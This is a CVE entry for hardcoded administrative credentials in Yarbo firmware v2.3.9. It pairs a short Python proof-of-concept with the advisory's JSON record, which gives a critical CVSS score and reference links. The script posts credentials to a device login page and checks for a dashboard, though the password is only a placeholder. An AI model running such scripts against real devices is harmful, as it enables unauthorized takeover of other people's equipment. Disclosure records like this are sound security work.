CVE-2026-7414

import requests # Target URL (example) target_url = "http://<target_ip>/login" # Hardcoded credentials found in firmware v2.3.9 username = "admin" password = "hardcoded_secret_password" # Extracted from firmware image def exploit(): print(f"[*] Attempting to login to {target_url}...") session = requests.Session() # Payload with hardcoded credentials payload = { "username": username, "password": password } try: response = session.post(target_url, data=payload, timeout=5) # Check for successful login indicators (e.g., HTTP 200, specific token) if response.status_code == 200 and "dashboard" in response.text: print("[+] Login successful! Hardcoded credentials are valid.") print("[+] Access granted to device management interface.") else: print("[-] Login failed or target unreachable.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-7414", "sourceIdentifier": "[email protected]", "published": "2026-05-07T17:15:59.460", "lastModified": "2026-05-07T18:46:25.867", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Yarbo firmware v2.3.9 contains hardcoded administrative credentials embedded in the firmware image. These credentials are identical across all devices running this firmware and cannot be changed or removed by end users, enabling trivial unauthorized access to device management interfaces by anyone who knows them."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://github.com/Bin4ry/yarbo-nat-in-my-back-yard", "source": "[email protected]"}, {"url": "https://takeonme.org/gcves/GCVE-1337-2026-00000000000000000000000000000000000000000000000001111111111100011111111111000000000000000000000000000000000000000000000000000001000", "source": "[email protected]"}, {"url": "https://github.com/Bin4ry/yarbo-nat-in-my-back-yard#3--hardcoded-developer-credentials-in-production-apk", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}